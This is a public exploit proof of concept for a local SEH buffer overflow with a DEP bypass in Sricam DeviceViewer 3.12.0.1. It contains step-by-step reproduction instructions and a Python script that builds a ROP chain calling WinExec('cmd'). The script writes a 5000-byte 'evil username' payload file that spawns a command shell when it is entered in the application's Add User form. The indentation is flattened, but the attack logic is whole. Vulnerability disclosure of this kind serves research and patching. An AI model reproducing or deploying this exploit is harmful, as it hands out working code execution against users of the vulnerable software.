DeviceViewer 3.12.0.1 Local Buffer Overflow

`# Exploit Title: Sricam DeviceViewer 3.12.0.1 - 'add user' Local Buffer Overflow (DEP Bypass)  
# Date: 08/10/2019  
# Exploit Author: Alessandro Magnosi  
# Vendor Homepage: http://www.sricam.com/  
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe  
# Version: v3.12.0.1  
# Exploit type: Local  
# Tested on: Windows 7 SP1  
  
# Steps to reproduce:  
# 1. Get the WinExec address from arwin.exe kernel32.dll WinExec  
# 2. Change the related address in the PoC  
# 3. Generate the payload using the PoC  
# 4. Log in the Sricam DeviceViewer application  
# 5. Go to System Configuration -> User Management  
# 6. Put the content of the generated file in User Info -> Username   
# 7. Click on Add  
# 8. A command shell will appear  
  
#!/usr/bin/python  
  
from struct import pack, unpack  
  
def create_rop_chain():  
  
rops = [  
  
0x6a1142aa, # XOR EDX,EDX # RETN  
  
0x6a569810, # POP EDX # RETN [avcodec-54.dll]   
0x6ae9c126, # &Writable location [avutil-50.dll]   
  
0x6a5dac8a, # POP EAX # RETN  
0xff9b929d, # NEG "cmd\0"  
  
0x6a2420e8, # NEG EAX # RETN [avcodec-54.dll]  
  
0x6994766b, # PUSH EAX # MOV DWORD PTR DS:[EDX],EAX # ADD ESP,3C # POP EBX # POP ESI # POP EDI # POP EBP # RETN [avformat-54.dll]  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
  
0x6a18e062, # ADD ESP, 10 # RETN ---> ESI  
0x6a2420ea, # ROP NOP ---> EDI   
  
0x6a45e446, # XCHG EAX,EDX # RETN [avcodec-54.dll]   
0x6a29d716, # XCHG EAX,ECX # RETN [avcodec-54.dll]   
  
## ECX = ascii "cmd\0"  
  
0x6a569810, # POP EDX # RETN [avcodec-54.dll]   
0x6a36264a, # CALL EBX  
  
## EDX = CALL EBX  
  
0x6a5dac8a, # POP EAX # RETN  
0x76e33231, # ptr to WinExec() [kernel32.dll]   
#### Unfortunately, this has to be hardcoded as no reliable pointer is available into the aplication   
  
0x6a150411, # XCHG EAX,EBX # RETN [avcodec-54.dll]  
  
## EBX = &WinExec  
  
0x6a5dac8a, # POP EAX # RETN  
0xffffffff, # -0x00000001-> ebx  
0x6a2420e8, # NEG EAX # RETN [avcodec-54.dll]  
  
## EAX = 1  
  
0x6a5eb992, # PUSHAD # RETN [avcodec-54.dll]  
0x6a2420ea, # ROP NOP   
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
0x6a2420ea, # ROP NOP  
]  
return ''.join(pack('<I', _) for _ in rops)  
  
  
def nops(length):  
return "\x90" * length  
  
rop_chain = create_rop_chain()  
maxlen = 5000  
  
# Stack pivoting address  
# 0x6a443e58 : {pivot 2252 / 0x8cc} : # ADD ESP,8BC # POP EBX # POP ESI # POP EDI # POP EBP # RETN [avcodec-54.dll]  
seh = pack("<I", 0x6a443e58)  
  
# Don't care nseh  
nseh = nops(4)  
  
payload = nops(8) + rop_chain + nops(360 - len(rop_chain) - 8) + nops(20) + nseh + seh + nops(300)  
sec = maxlen - len(payload)  
payload += nops(sec) # More junk to reach 5000  
  
print("Exploit Length: " + str(len(payload)))  
  
try:  
fname = "exprop.txt"  
exploit = open(fname,"w")  
print("Sricam DeviceViewer 3.12.0.1 Local Buffer Overflow Exploit")  
print("Author: Alessandro Magnosi\n")  
print("[*] Creating evil username")  
exploit.write(payload)  
exploit.close()  
print("[+] Username file created\n")  
print("[i] Now go to 'User Management' and try to add a user with user=<filecontent>")  
print("[+] A command shell will open")  
except:  
print("[!] Error creating the file")  
`